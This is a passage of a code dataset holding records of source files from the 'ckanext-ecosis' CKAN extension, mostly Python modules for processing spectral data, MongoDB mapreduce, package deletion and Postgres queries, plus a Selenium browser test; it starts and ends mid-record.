return\n\n if photoKey != 'photo':\n spectra['photo'] = spectra[photoKey]\n del spectra[photoKey]\n\n if re.match(r'^https?', spectra['photo'], re.I):\n return\n\n spectra['photo'] = \"%s/ecosis/resource/byname/%s/%s\" % (config.get('ckan.site_url'), packageId, spectra['photo'])\n\n\n# make sure location information for spectra is valid geojson\n# if this is not valid, mongodb will not allow it to be inserted (geoindex)\ndef setLocation(spectra):\n if spectra.get('geojson') != None:\n js = json.loads(spectra['geojson'])\n\n # extract geometry from feature\n if js.get(\"type\") == \"Feature\":\n spectra['ecosis']['geojson'] = js.get('geometry')\n\n # extract geometries from feature collection in geo collection\n elif js.get(\"type\") == \"FeatureCollection\":\n result ={\n \"type\": \"GeometryCollection\",\n \"geometries\": []\n }\n\n for f in js.get(\"features\"):\n result['geometries'].append(f.get(\"geometry\"))\n spectra['ecosis']['geojson'] = result\n\n # else we should be good to just add the geometry\n else:\n spectra['ecosis']['geojson'] = js\n\n del spectra['geojson']\n elif spectra.get('Latitude') != None and spectra.get('Longitude') != None:\n try:\n spectra['ecosis']['geojson'] = {\n \"type\" : \"Point\",\n \"coordinates\": [\n float(spectra.get('Longitude')),\n float(spectra.get('Latitude'))\n ]\n }\n except:\n pass\n elif spectra.get('latitude') != None and spectra.get('longitude') != None:\n try:\n spectra['ecosis']['geojson'] = {\n \"type\" : \"Point\",\n \"coordinates\": [\n float(spectra.get('longitude')),\n float(spectra.get('latitude'))\n ]\n }\n except:\n pass\n\n# set sort value as correct type (string, number, date)\n# dates need to be ISO strings\ndef setSort(spectra, config, package):\n sort = None\n\n # backword compatibility. But moving away from config object\n # all 'advanced data' should be stored in package\n extras = package.get('extras')\n if extras != None and extras.get('sort') != None:\n sort = json.loads(extras.get('sort'))\n elif config.get(\"sort\") != None:\n sort = config.get(\"sort\")\n\n if sort == None:\n return\n\n on = sort.get('on')\n type = sort.get('type')\n\n if on is None:\n return\n\n if on not in spectra:\n return\n\n if type == 'datetime':\n try:\n spectra['ecosis']['sort'] = dateutil.parser.parse(spectra[on])\n except:\n pass\n elif type == 'numeric':\n try:\n spectra['ecosis']['sort'] = float(spectra[on])\n except:\n pass\n else:\n spectra['ecosis']['sort'] = spectra[on]\n\n# append the .ecosis attribute to a spectra given sheet and dataset information\ndef addEcosisNamespace(spectra, package, main, sheetInfo, processInfo=None):\n name = sheetInfo.get('name')\n\n # fall back to postgres if we don't have a name\n if name is None and sheetInfo.get('fromZip') != True:\n resource = ckanResourceQuery.get(sheetInfo.get('resourceId'))\n name = resource.get('name')\n\n # append sheet and package information\n ecosis = {\n 'package_id': sheetInfo.get(\"packageId\"),\n 'package_title': package.get('title'),\n 'resource_id' : main.get('resourceId'),\n 'filename': name,\n 'sheet_id': main.get('sheetId'),\n 'layout' : sheetInfo.get('layout'),\n 'index' : main.get('index'),\n 'dataset_link' : '%s#result/%s' % (host, sheetInfo.get('packageId')),\n 'dataset_api_link' : '%spackage/get?id=%s' % (host, sheetInfo.get('packageId')),\n }\n\n # append zip package information if from zip file\n if 'zip' in sheetInfo:\n ecosis['zip_package'] = {\n \"id\" : sheetInfo.get('zip').get('resourceId'),\n \"name\" : sheetInfo.get('zip').get('name')\n }\n\n # append the latest processing information (when the sheet was last parsed)\n if processInfo is not None:\n ecosis['processInfo'] = processInfo\n\n # append the organziation information\n if package.get('organization') != None:\n ecosis['organization'] = package['organization']['title']\n\n spectra['ecosis'] = ecosis\n\n# set attribute aliases if they exists\ndef mapNames(spectra, config, processInfo, package):\n\n # backword compatibility. But moving away from config object\n # all 'advanced data' should be stored in package\n aliases = None\n extras = package.get('extras')\n if extras != None and extras.get('aliases') != None:\n aliases = json.loads(extras.get('aliases'))\n elif config.get(\"map\") != None:\n aliases = config.get(\"map\")\n\n if aliases != None and isinstance(aliases, dict):\n for key, value in aliases.items():\n if value in spectra:\n spectra[key] = spectra[value]\n\n processInfo.append({\n \"type\" : \"mapped\",\n \"key\" : key,\n \"from\" : value\n })\n\n# move wavelengths from first class citizen in spectra to 'datapoints' object\ndef moveWavelengths(spectra, clean):\n wavelengths = {}\n toRemove = []\n for name in spectra:\n if re.match(r\"^-?\\d+\\,?\\d*\", name) or re.match(r\"^-?\\d*\\,\\d+\", name):\n if clean:\n wavelengths[uncleanKey(name)] = spectra[name].strip()\n else:\n wavelengths[name] = spectra[name].strip()\n toRemove.append(name)\n\n for name in toRemove:\n del spectra[name]\n\n spectra['datapoints'] = wavelengths\n\n# given a list of joinable metadata sheets, see if any of the sheets have matches\n# to the 'joinOn' value. If so merge metadata information to spectra.\ndef join(packageId, spectra, processInfo):\n # get all the metadata sheets\n joinableSheets = collections.get('resource').find({\"metadata\": True, \"packageId\": packageId})\n\n # for each sheet config\n for sheetConfig in joinableSheets:\n # grab the metadata sheets join variable\n joinOn = sheetConfig.get('joinOn')\n if joinOn == None:\n continue\n\n # see if we have a join variable in the spectra\n joinVar = spectra.get(joinOn)\n\n if joinVar != None:\n query = {\n \"type\" : \"metadata\",\n \"packageId\" : packageId,\n \"resourceId\" : sheetConfig[\"resourceId\"]\n }\n query[\"spectra.%s\" % sheetConfig.get('joinOn')] = joinVar\n\n if sheetConfig.get('sheetId') != None:\n query[\"sheetId\"] = sheetConfig.get('sheetId')\n\n # query for matches to spectras value\n joinData = get_package_spectra_collection(packageId).find_one(query)\n if joinData != None:\n\n # for each match, append all attributes\n for key in joinData.get(\"spectra\"):\n if key not in spectra:\n spectra[key] = joinData.get(\"spectra\").get(key)\n\n # keep track of where attribute came from, this mostly for reporting in the UI\n # lets the user know which attributes have properly join and which sheets\n # those attributes came from\n processInfo.append({\n \"type\" : \"join\",\n \"key\" : key,\n \"resourceId\" : joinData.get(\"resourceId\"),\n \"sheetId\" : joinData.get(\"sheetId\"),\n })\n\n# switch from MongoDB version to normal (only for wavelengths)\ndef uncleanKey(key):\n return re.sub(r',', '.', key)\n\n# get workspace resource\ndef getResource(resource_id, sheet_id=None):\n # query needs to check if is part of zip package\n query = {\n \"$or\" : [\n {\"resourceId\" : resource_id},\n {\"zip.resourceId\" : resource_id}\n ]\n }\n\n # see if a sheet id was provided, sheets of excel files are\n # considered individual resources in this context\n if sheet_id is not None:\n query['sheetId'] = sheet_id\n\n # grab the sheet information from the resource workspace collection\n sheets = collections.get(\"resource\").find(query,{\n \"localRange\" : 0,\n \"hash\" : 0,\n \"file\" : 0,\n \"_id\" : 0\n })\n\n response = []\n for sheet in sheets:\n # only send metadata attributes\n metadata = []\n repeats = []\n units = {}\n attributeRepeatFlag = False # proly have wrong layout\n\n # read in all of the attribute data including attribute names,\n # units and possible repeats if they exist\n if sheet.get('attributes') is not None:\n for attr in sheet.get('attributes'):\n if attr.get(\"type\") != \"metadata\":\n continue\n\n if attr.get(\"name\") in metadata:\n if attr.get(\"name\") not in repeats:\n repeats.append(attr.get(\"name\"))\n attributeRepeatFlag = True\n continue\n\n metadata.append(attr.get(\"name\"))\n\n if attr.get(\"units\") is not None:\n units[attr.get(\"name\")] = attr.get(\"units\")\n\n sheet['attributes'] = metadata\n sheet['units'] = units\n if attributeRepeatFlag:\n sheet['repeatAttributes'] = True\n sheet['repeats'] = repeats\n response.append(sheet)\n\n return response\n\n# get the dict of attribute name to units type\ndef allUnits(package_id):\n query = {\n \"packageId\" : package_id\n }\n\n # query workspace resources for package\n sheets = collections.get(\"resource\").find(query,{\n \"localRange\" : 0,\n \"hash\" : 0,\n \"file\" : 0,\n \"_id\" : 0\n })\n\n units = {}\n\n # loop through all sheets, all attributes\n for sheet in sheets:\n if sheet.get('attributes') is not None:\n for attr in sheet.get('attributes'):\n if attr.get(\"units\") is not None and attr.get(\"units\") != \"\":\n units[attr.get(\"name\")] = attr.get(\"units\")\n\n return units\n\n# get last pushed time\ndef isPushed(package_id):\n result = collections.get(\"search_package\").find_one({\"value.ecosis.package_id\": package_id},{\"value.ecosis.pushed\": 1})\n\n if result is None:\n return result\n\n ecosis = result.get(\"value\").get(\"ecosis\")\n if ecosis is None:\n return ecosis\n\n return ecosis.get(\"pushed\")" }, { "alpha_fraction": 0.5619791746139526, "alphanum_fraction": 0.5791666507720947, "avg_line_length": 29.492063522338867, "blob_id": "5f5b0d8551fd184db9b1996980a893ac704fcdcc", "content_id": "04de9f1dfe4ca4f3c083557c4803f47fc1f88bee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1920, "license_type": "no_license", "max_line_length": 150, "num_lines": 63, "path": "/spectra-importer/tests/seleniumWebdriverTest.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var assert = require('assert'),\n test = require('selenium-webdriver/testing'),\n webdriver = require('selenium-webdriver'),\n By = require('selenium-webdriver').By,\n until = require('selenium-webdriver').until;\n\nvar url = 'http://192.168.1.4:5000/';\n\ntest.describe('CKAN Dataset Editor', function() {\n var driver;\n this.timeout(9999999);\n\n test.before(function(){\n driver = new webdriver.Builder().\n withCapabilities(webdriver.Capabilities.chrome()).\n build();\n });\n\n /*test.it('get to login page', function() {\n driver.get(url+'user/login');\n driver.wait(until.titleIs('Login - CKAN'), 1000);\n });\n\n test.it('should login', function() {\n driver.findElement(By.id('field-login')).sendKeys('jrmerz');\n driver.findElement(By.id('field-password')).sendKeys('');\n\n driver.findElement(By.css('button.btn[type=\"submit\"]')).then(function(el){\n el.click();\n });\n });\n\n test.it('is logged in', function(done) {\n driver.executeScript('return document.title').then(function(title){\n assert.equal(title, 'Manage - jrmerz - Users - CKAN');\n done();\n });\n });*/\n\n test.it('should redirect to editor', function(){\n driver.get(url+'dataset/new');\n driver.wait(until.titleIs('Ecosis Dataset Editor'), 2000);\n });\n\n test.it('should fill in title', function(done){\n // give some time to load\n driver.sleep(3000);\n\n\n\n driver.executeScript('return document.querySelector(\\'esis-scaffold /deep/ paper-input-decorator [label=\"Title\"] input\\')').then(function(el){\n assert.notEqual(null, el);\n //el.sendKeys('mocha-tests');\n //assert.equal(el.getAttribute(\"value\"), 'mocha-tests');\n //assert.equal(-1, 1);\n });\n\n });\n\n test.after(function() { \n driver.quit(); \n });\n});" }, { "alpha_fraction": 0.43987342715263367, "alphanum_fraction": 0.4458509087562561, "avg_line_length": 20.884614944458008, "blob_id": "abc5cafb3934f2633e233465f443254d9ee885d5", "content_id": "1ba7f87251a5a593436c94ae66c1fdad3b1ee1c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2844, "license_type": "no_license", "max_line_length": 87, "num_lines": 130, "path": "/ckanext/ecosis/datastore/vocab/top.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re, copy\ntopCollection = None\n\n# MongoDB query projection\nprojection = {\n 'definition' : 1,\n '_id' : 0,\n 'prefUnit' : 1,\n 'label' : 1,\n 'alternativeLabel' : 1,\n 'relatedTerm' : 1,\n 'preferredLabel' : 1,\n 'relatedMatch' : 1,\n 'broaderTransitive' : 1,\n 'subClassOf' : 1,\n 'id' : 1,\n}\nsearchProjection = copy.copy(projection)\nsearchProjection['score'] = {\n '$meta': \"textScore\"\n}\n\n# inject global dependencies\ndef init(collections):\n global topCollection\n\n topCollection = collections.get('top')\n\n# get list of suggested top names\ndef overview(list):\n result = {}\n\n for name in list:\n regx = re.compile(\"^%s$\" % name, re.IGNORECASE)\n\n match = topCollection.find_one({'preferredLabel': regx}, {'preferredLabel': 1})\n if match is not None:\n result[name] = {\n 'match' : match,\n 'type' : 'match'\n }\n continue\n\n match = topCollection.find_one(\n {\n '$or' : [\n {'alternativeLabel' : regx},\n {'abbreviation': regx},\n {'relatedTerm': regx}\n ]\n },\n projection\n )\n\n if match is not None:\n result[name] = {\n 'match' : match,\n 'type' : 'related'\n }\n continue\n\n count = topCollection.find(\n {\n '$text': {\n '$search' : name\n },\n },\n {'_id':1}\n ).count()\n\n if count > 0:\n result[name] = {\n 'type' : 'textMatch'\n }\n continue\n\n result[name] = {\n 'type' : 'nomatch'\n }\n\n return result\n\n# get a list of top names that match the given name\ndef suggest(name):\n result = []\n regx = re.compile(\"^%s$\" % name, re.IGNORECASE)\n\n match = topCollection.find_one({'preferredLabel': regx}, projection)\n if match is not None:\n return {\n 'type' : 'match',\n 'result' : [match]\n }\n\n cur = topCollection.find(\n {\n '$or' : [\n {'alternativeLabel' : regx},\n {'abbreviation': regx},\n {'relatedTerm': regx}\n ]\n },\n projection\n )\n for doc in cur:\n result.append(doc)\n\n if len(result) > 0:\n return {\n 'type' : 'related',\n 'result' : result\n }\n\n cur = topCollection.find(\n {\n '$text': {\n '$search' : name\n },\n },\n searchProjection\n ).sort( [('score', { '$meta': \"textScore\" })] ).limit(30)\n\n\n for doc in cur:\n result.append(doc)\n\n return {\n 'type' : 'textMatch',\n 'result' : result\n }" }, { "alpha_fraction": 0.6957265138626099, "alphanum_fraction": 0.6957265138626099, "avg_line_length": 31.509260177612305, "blob_id": "77b367b4616a61b91af70e836caa17766785e973", "content_id": "280c9fab2fd681d99740f24dec3e1067ad507d18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3510, "license_type": "no_license", "max_line_length": 96, "num_lines": 108, "path": "/ckanext/ecosis/datastore/delete/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os, shutil\nfrom ckanext.ecosis.datastore.mongo import get_package_spectra_collection\n\ncollections = None\nworkspaceDir = None\n\n'''\nHelper methods for remove packages from the EcoSIS extension. There are two groups\nof MongoDB collections that are maintained. The workspace collections used by the CKAN\nextension and the search collections, used by the search application. Finally, the\nextension does store files on disk while a workspace is 'open'. These files need\nto be cleaned as well.\n'''\n\n# inject global dependencies\ndef init(mongoCollections, workspaceDirectory):\n global collections, workspaceDir\n\n collections = mongoCollections\n workspaceDir = workspaceDirectory\n\n# remove a package from EcoSIS\n# Note: this does not handle removing package for CKAN, the EcoSIS extension\ndef package(package_id):\n # remove from the package workspace\n collections.get('package').remove({\n \"packageId\": package_id\n })\n\n # remove from the spectra workspace\n get_package_spectra_collection(package_id).remove({})\n\n # remove from the resources workspace\n collections.get('resource').remove({\n \"packageId\": package_id,\n })\n\n cleanFromSearch(package_id)\n\n # clear anything placed on the filesystem workspace\n # this is were we store cache files (ie excel sheets as CSV files, for example) and the like\n workspacePath = os.path.join(workspaceDir, package_id)\n if os.path.exists(workspacePath):\n shutil.rmtree(workspacePath)\n\n# The really important bit, remove package for primary MongoDB search collections\n# this will pull all references of package from ecosis.org\ndef cleanFromSearch(package_id):\n # remove from package collection\n collections.get('search_package').remove({\n \"_id\": package_id,\n })\n\n # remove from spectra collection\n collections.get('search_spectra').remove({\n \"ecosis.package_id\": package_id,\n })\n\n# remove a resource from Mongo collections as well as disk\n# Note: this does not handle removing resource for CKAN, the EcoSIS extension\ndef resource(package_id, resource_id):\n get_package_spectra_collection(package_id).remove({\n \"resourceId\": resource_id,\n })\n\n collections.get('resource').remove({\n \"resourceId\": resource_id,\n })\n\n # if zip, remove child references\n childResources = collections.get('resource').find({\"zip.resourceId\": resource_id})\n\n for childResource in childResources:\n get_package_spectra_collection(package_id).remove({\n \"resourceId\": childResource.get('resourceId'),\n })\n\n collections.get('resource').remove({\n \"zip.resourceId\": resource_id,\n })\n\n path = os.path.join(workspaceDir, package_id, resource_id)\n if os.path.exists(path):\n shutil.rmtree(path)\n\n# when a excel sheet is processed, keep track of it's sheet id's\n# this will remove all spectra sheets that are not in this list\ndef removeDeletedExcelSheets(resource_id, current_sheet_id_list):\n if None not in current_sheet_id_list:\n current_sheet_id_list.append(None)\n\n collections.get('resource').remove({\n 'resourceId' : resource_id,\n 'sheetId' : {\n '$nin' : current_sheet_id_list\n }\n })\n\n get_package_spectra_collection(package_id).remove({\n 'resourceId' : resource_id,\n 'sheetId' : {\n '$nin' : current_sheet_id_list\n }\n })\n\ndef resources(package_id, resources):\n for resource_id in resources:\n resource(package_id, resource_id)" }, { "alpha_fraction": 0.5943700671195984, "alphanum_fraction": 0.5945313572883606, "avg_line_length": 33.926761627197266, "blob_id": "33f938da6517b0e10249d3fe1d76582a759f988d", "content_id": "b745d0f57201fd2ec51ec4a883137adc03e5bdeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12398, "license_type": "no_license", "max_line_length": 215, "num_lines": 355, "path": "/ckanext/ecosis/datastore/mapreduce/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os, json, re, traceback\nimport datetime\nfrom bson.code import Code\nfrom bson.son import SON\nfrom ckan.common import config\nfrom . import lookup\nimport dateutil.parser as dateparser\nfrom ckanext.ecosis.datastore import query\nfrom ckanext.ecosis.lib.utils import getPackageExtra\n\npath = os.path.dirname(os.path.abspath(__file__))\n\n# read in mapreduce strings. These javascript files are (obviously) stored locally\nf = open('%s/../mapreduce/map.js' % path, 'r')\nmapJs = Code(f.read())\nf.close()\n\nf = open('%s/../mapreduce/reduce.js' % path, 'r')\nreduceJs = Code(f.read())\nf.close()\n\nf = open('%s/../mapreduce/finalize.js' % path, 'r')\nfinalizeJs = Code(f.read())\nf.close()\n\ncollections = None\nschema = None\n\n# map from CKAN attribute name to EcoSIS\nschemaMap = {\n 'Keywords' : 'tags',\n 'Author' : 'author',\n 'Author Email' : 'author_email',\n 'Maintainer' : 'maintainer',\n 'Maintainer Email' : 'maintainer_email'\n}\n\n# initialized in init()\nmapReduceAttribute = []\n\n# inject global dependencies\ndef init(mongoCollections, jsonSchema):\n global collections, schema, mapReduceAttribute\n\n collections = mongoCollections\n schema = jsonSchema\n lookup.init(collections)\n\n # loop schema and lookup mapreduce attributes\n for cat, arr in schema.items():\n for item in arr:\n if item.get('name') == 'Latitude' or item.get('name') == 'geojson' or item.get('name') == 'Longitude':\n continue\n mapReduceAttribute.append(item.get('name'))\n\n# pkg should be a ckan pkg\n# collection should be the search collection\ndef mapreducePackage(ckanPackage, bboxInfo):\n\n # pass along attribute to mapreduce\n scope = {\n \"mapReduceAttribute\" : mapReduceAttribute\n }\n\n # run mongo db mapreduce\n collections.get(\"search_spectra\").map_reduce(mapJs, reduceJs, finalize=finalizeJs, scope=scope, out=SON([(\"merge\", config.get(\"ecosis.mongo.search_collection\"))]), query={\"ecosis.package_id\": ckanPackage['id']})\n # get the resulting count\n spectra_count = collections.get(\"search_spectra\").find({\"ecosis.package_id\": ckanPackage['id']}).count()\n\n # now that we have our mapreduce spectra colleciton, lets process it\n updateEcosisNs(ckanPackage, spectra_count, bboxInfo)\n\n# process dataset after mapreduce. add the ecosis namespace with additional ecosis/ckan information\ndef updateEcosisNs(pkg, spectra_count, bboxInfo):\n # get the package workspace object, contains config\n config = collections.get(\"package\").find_one({\"packageId\": pkg.get(\"id\")})\n if config is None:\n config = {}\n\n collection = collections.get('search_package')\n\n\n\n sort = getPackageExtra(\"sort\", pkg)\n if sort is None:\n sort = {}\n else:\n sort = json.loads(sort)\n\n # store these as dates\n created = None\n modified = None\n try:\n created = dateparser.parse(pkg.get(\"metadata_created\"))\n except Exception as e:\n pass\n try:\n modified = dateparser.parse(pkg.get(\"metadata_modified\"))\n except Exception as e:\n pass\n\n # default ecosis information we are going to add to the package\n ecosis = {\n # TODO: change to ISO string, check this doesn't break 'updated since last push check'\n \"pushed\" : datetime.datetime.utcnow(),\n \"organization\" : \"\",\n \"organization_id\" : \"\",\n \"description\" : pkg.get('notes'),\n \"groups\" : [],\n \"package_id\" : pkg.get(\"id\"),\n \"package_name\" : pkg.get(\"name\"),\n \"package_title\" : pkg.get(\"title\"),\n \"created\" : created,\n \"modified\" : modified,\n \"version\" : pkg.get(\"version\"),\n \"license\" : pkg.get(\"license_title\"),\n \"spectra_count\" : spectra_count,\n \"spectra_metadata_schema\" : {\n \"wavelengths\" : [],\n \"metadata\" : [],\n \"units\" : {},\n \"aliases\" : None,\n },\n \"resources\" : [],\n \"linked_data\" : [],\n \"geojson\" : None,\n \"sort_on\" : sort.get(\"on\"),\n \"sort_type\": sort.get(\"type\"),\n \"sort_description\" : sort.get(\"description\")\n }\n\n # append the units\n units = query.allUnits(pkg.get(\"id\"))\n if units != None:\n ecosis[\"spectra_metadata_schema\"][\"units\"] = units\n\n # append the linked data\n linkeddata = getPackageExtra('LinkedData', pkg)\n if linkeddata != None:\n ecosis[\"linked_data\"] = json.loads(linkeddata)\n\n # append the EcoSIS DOI\n doi = getPackageExtra('EcoSIS DOI', pkg)\n if doi != None:\n ecosis[\"doi\"] = doi\n\n # append the list of resources\n for item in pkg['resources']:\n if item.get(\"state\") != \"active\":\n continue\n\n ecosis[\"resources\"].append({\n \"type\" : item.get('url_type'),\n \"mimetype\" : item.get(\"mimetype\"),\n \"name\" : item.get(\"name\"),\n \"url\" : item.get(\"url\")\n })\n\n # append the list of keywords\n keywords = []\n for item in pkg['tags']:\n keywords.append(item['display_name'])\n\n # add metadata aliases\n aliases = getPackageExtra('aliases', pkg)\n if aliases is not None:\n try:\n ecosis[\"spectra_metadata_schema\"][\"aliases\"] = json.loads(aliases)\n\n # map units for aliases\n for key, value in ecosis[\"spectra_metadata_schema\"][\"aliases\"].iteritems():\n unit = ecosis[\"spectra_metadata_schema\"][\"units\"].get(value)\n if unit is not None:\n ecosis[\"spectra_metadata_schema\"][\"units\"][key] = unit\n\n except Exception as e:\n print(e)\n traceback.print_exc()\n pass\n\n # append the data groups\n for item in pkg['groups']:\n ecosis[\"groups\"].append(item['display_name'])\n\n # append the organizations\n if 'organization' in pkg:\n if pkg['organization'] != None:\n ecosis[\"organization\"] = pkg['organization']['title']\n ecosis[\"organization_id\"] = pkg['organization']['id']\n else:\n ecosis['organization'] = 'None'\n else:\n ecosis['organization'] = 'None'\n\n # make sure the map reduce did not create a null collection, if so, remove\n # This means there is no spectra\n item = collection.find_one({'_id': pkg['id']})\n\n # now see if we have a group by attribute...\n if item is None:\n pass\n elif item.get('value') is None:\n collection.remove({'_id': pkg['id']})\n else:\n item = collection.find_one({'_id': pkg['id']})\n\n setValues = {'$set' : { 'value.ecosis': ecosis }, '$unset' : {}}\n\n # grab the mapreduce value\n mrValue = item.get('value')\n\n # process ecosis schema\n # bubble attributes from mapreduce\n names = []\n for category, items in schema.items():\n for item in items:\n name = item.get('name')\n input = item.get('input')\n\n # ignore these attributes, they should not be processed.\n # TODO: make this a global list\n if name == 'Latitude' or name == 'Longitude' or name == 'geojson' or name == 'NASA GCMD Keywords':\n continue\n\n # processAttribute does all sorts-o-stuff, see function definition below\n processAttribute(name, input, pkg, mrValue, setValues, keywords)\n names.append(name)\n\n if item.get('allowOther') == True:\n processAttribute(name+\" Other\", \"split-text\", pkg, mrValue, setValues, keywords)\n names.append(name+\" Other\")\n\n # set the known data attributes\n # the mapreduce function created these objects, storing all know wavelengths and metadata attributes\n # for the function. Here we transform those objects (dicts) into arrays, we only care about the keys\n # Finally, MongoDB does not allow '.' in attribute name, so names were stored with commas instead,\n # transpose the ',' back to '.'\n for key in mrValue['tmp__schema__']['wavelengths']:\n ecosis['spectra_metadata_schema']['wavelengths'].append(re.sub(r',', '.', key))\n for key in mrValue['tmp__schema__']['metadata']:\n ecosis['spectra_metadata_schema']['metadata'].append(re.sub(r',', '.', key))\n\n # tell MongoDB to remove the object storing our schema information processed above\n setValues['$unset']['value.tmp__schema__'] = ''\n\n # append the gcmd keywords\n gcmd = getPackageExtra('NASA GCMD Keywords', pkg)\n if gcmd is not None and gcmd != '':\n arr = json.loads(gcmd)\n setValues['$set']['value.ecosis']['nasa_gcmd_keywords'] = arr\n keywords = []\n\n # create unique array of all gcmd keywords to be searched on\n for item in arr:\n parts = item.get('label').encode('ascii', 'ignore').decode('utf-8').split('>')\n # parts = map(unicode.strip, parts)\n for key in parts:\n if key not in keywords:\n keywords.append(key)\n\n setValues['$set']['value.NASA GCMD Keywords'] = keywords\n\n # finally, let's handle geojson\n geojson = processGeoJson(bboxInfo, pkg)\n if len(geojson.get('geometries')) == 0:\n setValues['$set']['value.ecosis']['geojson'] = None\n else:\n setValues['$set']['value.ecosis']['geojson'] = geojson\n\n # really, finally, update the collection with the 'setValues' dict we have been creating\n collection.update(\n {'_id': pkg['id']},\n setValues\n )\n\n# handle the various ways we are given a bounding box\ndef processGeoJson(bboxInfo, pkg):\n result = {\n \"type\": \"GeometryCollection\",\n \"geometries\": []\n }\n\n # if we found bbox info in the spectra, add it\n if bboxInfo['use']:\n result['geometries'].append({\n \"type\": \"Polygon\",\n \"coordinates\" : [[\n [bboxInfo[\"maxlng\"], bboxInfo[\"maxlat\"]],\n [bboxInfo[\"minlng\"], bboxInfo[\"maxlat\"]],\n [bboxInfo[\"minlng\"], bboxInfo[\"minlat\"]],\n [bboxInfo[\"maxlng\"], bboxInfo[\"minlat\"]],\n [bboxInfo[\"maxlng\"], bboxInfo[\"maxlat\"]]\n ]]\n })\n\n geojson = getPackageExtra(\"geojson\", pkg)\n if geojson != None:\n try:\n # TODO: add checks for valid geojson\n result['geometries'].append(json.loads(geojson))\n except Exception:\n pass\n\n return result\n\n# make sure value is not none, strip string and set to lower case\ndef cleanValue(value):\n if value is None:\n return \"\"\n\n return value.lower().strip()\n\n# all sorts of magics here.\ndef processAttribute(name, input, pkg, mrValue, setValues, keywords):\n val = None\n\n # first we need to get the values we are working with\n if name == 'Keywords': # this is the keywords attribute, special case\n val = keywords\n elif schemaMap.get(name) != None: # if the schemaMap has alias set, lookup value based on alias name\n val = pkg.get(schemaMap.get(name))\n else: # otherwise just use the provided attribute name\n val = getPackageExtra(name, pkg)\n\n # if we don't have values to process, do nothing\n if val == None or val == '':\n return\n\n # if attribute schema type is 'controlled', split to multiple values\n if name == 'Keywords':\n pass\n elif input == \"controlled\" or input == \"split-text\" or name == 'Author':\n val = val.split(\",\")\n else: # we store everything as an array, easier to handle on other end\n val = [val]\n\n # now we have an dataset value, see if we have spectra value and join if we do\n # what does this mean? So spectra resource attributes were mapreduced into\n # this single 'mrValue' dict. If the attribute name is found as a first class\n # citizen, then it was provided by the spectra and we need to include it\n if mrValue.get(name) != None:\n spValues = mrValue.get(name)\n\n # merge and above values with new values\n for v in val:\n if not v in spValues:\n spValues.append(v)\n val = spValues\n\n # finally, clean all values (strip and set to lower case)\n if name != 'geojson' and name != 'Citation':\n # TODO: fix this\n val = list(map(lambda it: cleanValue(it), val))\n\n setValues['$set']['value.'+name] = val" }, { "alpha_fraction": 0.6222714185714722, "alphanum_fraction": 0.6282821893692017, "avg_line_length": 30.306930541992188, "blob_id": "7c678a2f3fc038cfa3232c6597a6b34c30c4af3e", "content_id": "0ed06fdb683154c8bc174aa121e9839264fd1446", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3161, "license_type": "no_license", "max_line_length": 144, "num_lines": 101, "path": "/ckanext/ecosis/datastore/ckan/package.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import psycopg2.extras, json\n\nconnStr = None\nschema = None\n\n# inject global dependencies\ndef init(pgConn, s):\n global connStr, schema\n connStr = pgConn\n schema = s\n\n# helper for returning EcoSIS attribute schema\ndef getSchema():\n return schema\n\ndef getPgConn():\n return psycopg2.connect(connStr)\n\n# get a dataset by id\ndef get(package_id):\n conn = psycopg2.connect(connStr)\n\n # query pg for dataset\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from package where id = %s\", (package_id,))\n package = cur.fetchall()\n cur.close()\n\n if len(package) == 0:\n raise Exception('Invalid package ID')\n else:\n package = package[0]\n\n # extras\n package['extras'] = {}\n\n # grab all extra fields where status is not deleted\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from package_extra where package_id = %s and state != 'deleted'\", (package_id,))\n rows = cur.fetchall()\n for row in rows:\n package['extras'][row['key']] = row['value']\n cur.close()\n\n # append organization information\n ownerOrg = package.get('owner_org')\n if ownerOrg != None and ownerOrg != \"\":\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select * from public.group where id = %s\", (ownerOrg,))\n rows = cur.fetchall()\n cur.close()\n\n if len(rows) > 0:\n package['organization'] = rows[0]\n\n # append tag (keywords) information\n package['tags'] = []\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\"select t.name from tag t, package_tag pt where t.id = pt.tag_id and pt.package_id = %s and pt.state = 'active'\", (package_id,))\n rows = cur.fetchall()\n cur.close()\n conn.close()\n\n for row in rows:\n package['tags'].append(row.get('name'))\n\n return package\n\n# query package by EcoSIS DOI status. Uses pg-json functionality\n# TODO: build index on doi status -> value field\ndef doiQuery(status=\"\", query=\"\", limit=10, offset=0):\n conn = psycopg2.connect(connStr)\n\n if status == \"\" or status is None:\n status = \"Pending Approval\"\n if query is None:\n query = \"\"\n if limit is None:\n limit = 10\n if offset is None:\n offset = 0\n\n query = \"%%%s%%\" % query.lower()\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor)\n cur.execute(\n (\"select p.title as title, p.id, pe.value as status, pev.value as doi \"\n \"from package_extra pe join package p on pe.package_id = p.id \"\n \"left join package_extra pev on pev.package_id = p.id and pev.key = 'EcoSIS DOI' \"\n \"where pe.key = 'EcoSIS DOI Status' and pe.state != 'deleted' \"\n \"and pe.value::json->>'value' = ANY(%s) and lower(p.title) like %s order by title limit %s offset %s;\"),\n (status.split(','), query, limit, offset)\n )\n packages = cur.fetchall()\n cur.close()\n\n for package in packages:\n if package.get('status') is not None:\n package['status'] = json.loads(package['status'])\n\n return packages" }, { "alpha_fraction": 0.695035457611084, "alphanum_fraction": 0.695035457611084, "avg_line_length": 13.100000381469727, "blob_id": "6da7c6701b58a6d5b98888aad1ad203fd7bc2b53", "content_id": 